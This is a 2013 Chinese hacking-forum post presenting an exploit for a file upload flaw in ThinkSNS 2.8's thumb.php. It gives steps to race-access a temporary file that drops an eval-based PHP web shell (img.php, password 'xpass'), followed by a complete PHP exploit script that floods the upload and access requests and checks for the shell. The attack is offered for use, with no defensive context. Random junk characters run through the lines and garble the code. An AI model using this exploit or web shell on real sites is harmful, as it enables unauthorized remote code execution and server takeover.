找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2002|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
0 n2 L3 `& K% `( K, Z. m1 A存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过), B% s8 k+ N# W3 ~
漏洞文件. J% w% J  V+ n/ g' J
存在漏洞的文件为:thumb.php$ ~0 O6 Y; B+ e6 a
作者:韦鲲鹏
/ n7 h2 M2 M3 w5 d0 `8 l1、        准备如下PHP文件并上传到服务器(自己的)。
  y; ^6 j4 `; ^; G文件内容如下:) b3 Q  S: m/ d- h" Y7 L
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>" x" G0 ]* v, [# u/ y1 c
2、        计算出临时的文件名:- U& U, H) d8 y& d/ F7 s
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
- w5 w7 Y/ a" g" U, g2 S1 _' v6 K8 T* h7 I7 d# h4 e
3、        上传临时文件。# q" C, A; |) Z9 ^& |
4、        访问临时文件。9 g8 D' r0 \) e6 @6 B: z/ B( ?
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
0 L/ z1 ?) ~4 lExploit文件内容如下:(这个我就不详细解释了)* K+ Y+ @/ C" x/ n) a
<?php2 ?1 U  p% d9 S4 B: `7 G- i
error_reporting(0);  f* i4 ]: y$ O) `% O
set_time_limit(0);
. p/ h1 n) z3 v& Rini_set(“default_socket_timeout”, 5);
/ `1 u, `- P& mfunction http_send($host, $port, $headers) {
& Y0 x# [- Z9 N3 g: }0 x  i$fp = fsockopen($host, $port);
1 @' z: k* `9 c4 ?7 G; e$ H1 s$ vif (!$fp) die(‘Connection -> fail’);( r: N$ Q1 O& d& k% s
fputs($fp, $headers);
5 k6 L% L) N' F  X, W+ `return $fp;/ }/ s2 m( D! i- g
}
0 D5 q: k2 T& W6 wfunction http_recv($fp) {4 z0 @7 ?. F3 z
$ret=”";, D8 u8 U  R2 A! n
while (!feof($fp))7 I! u: R4 W) R) B9 n/ F. I
$ret.= fgets($fp, 1024);, d! m9 o- g7 E2 [, [) a& L) D, N
fclose($fp);/ i# o. r- D4 q" |1 ~- ^9 K
return $ret;3 X0 m/ c1 g$ J& M* v
}* N, n, i! c1 b! q3 |% y
print “\n#  ThinkSns Arbitrary File Upload   #\n”;% J5 c3 Y" V' l) z; S( |& D, Q
print “# Discovered by 韦鲲鹏 #\n\n”;
7 Z4 l( ~, @( \if ($argc < 4) {
# p+ v: a+ `8 F( o5 M8 m! qprint “Usage:   php <host> <path> <romote_url>\n”;2 J) u+ Z) Q) Z; o7 Q, _/ e6 I5 |- M
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;$ q3 m$ G+ t3 l
die();8 E; T; L8 w7 `7 i1 W* A- M
}
* y1 H0 q1 {  p$ n: X$host = $argv[1];) a' o" ]" i' b! k) J& H6 _
$path = $argv[2];/ T; p( T$ F: \. a
$url = $argv[3];! x2 W# `5 X4 b$ |
$i=0;: c" P& b* ~" X$ {) P% b' t
//上传数据包4 d+ q% T: l! X& B( K# B
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;$ Q" r' D4 k2 q9 D' ]# Z
$headers_up .= “Host: “.$host.”\r\n”;
$ A' x2 l7 W8 x! H" C, m7 f+ i$headers_up .= “Connection: close\r\n\r\n”;
) |6 t6 `0 D. O2 X5 a) _0 v! mecho $headers_up;
" K* i7 H0 p- A* s: Q. P  q//临时文件访问数据包
; s$ u3 W% t  d8 }$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& Z% g/ ]5 s, G5 I5 [4 D$headers .= “Host: “.$host.”\r\n”;5 ?8 G$ l& K& G7 l0 |2 q# W
$headers .= “Connection: close\r\n\r\n”;! ~+ X/ a! T0 m% ?: \( D
echo $headers;) \( Z$ t( m5 Q
while(++$i<10) {8 Y; ^  _! k4 [6 p# P
fclose(http_send($host, 80, $headers));
: O5 j9 r3 |% h3 y0 l6 o) j}5 ]& [, I% A" K) X& k8 ~: P1 x
fclose(http_send($host, 80, $headers_up));2 \2 @! L) u. ]9 F/ r% f* h- m* q5 `
while(++$i<50) {* }% D7 x6 ]" d8 K- B% B
fclose(http_send($host, 80, $headers));
  v$ q3 F5 Z0 }- N}4 l1 ?8 N; @" H! B3 E
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;. B7 J' t% w( c; l% y* |
$headers .= “Host: “.$host.”\r\n”;
  j  F& s  l- N1 ^- \$headers .= “Connection: close\r\n\r\n”;
( S! Y+ _" U6 L$res=http_recv(http_send($host, 80, $headers));
9 N( h: A1 P' y" }6 Yif(preg_match(‘/200 OK/’,$res)) {
4 L7 M/ v3 Y0 o0 g$ T- jprint “Success!\n\n”;
! p* Y( ?& O6 W% t, U7 ]1 J$ s) b7 I2 c} else {
" ]2 F4 ^7 r% d4 W3 O' v) g1 ^+ y; Hprint “Fail!\n\n”;
2 E2 ~8 V7 L2 [1 i$ E: F( e  j}
% G/ O9 O. Y  P; z# P5 R?>$ r7 J5 T$ x9 n0 E  g5 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表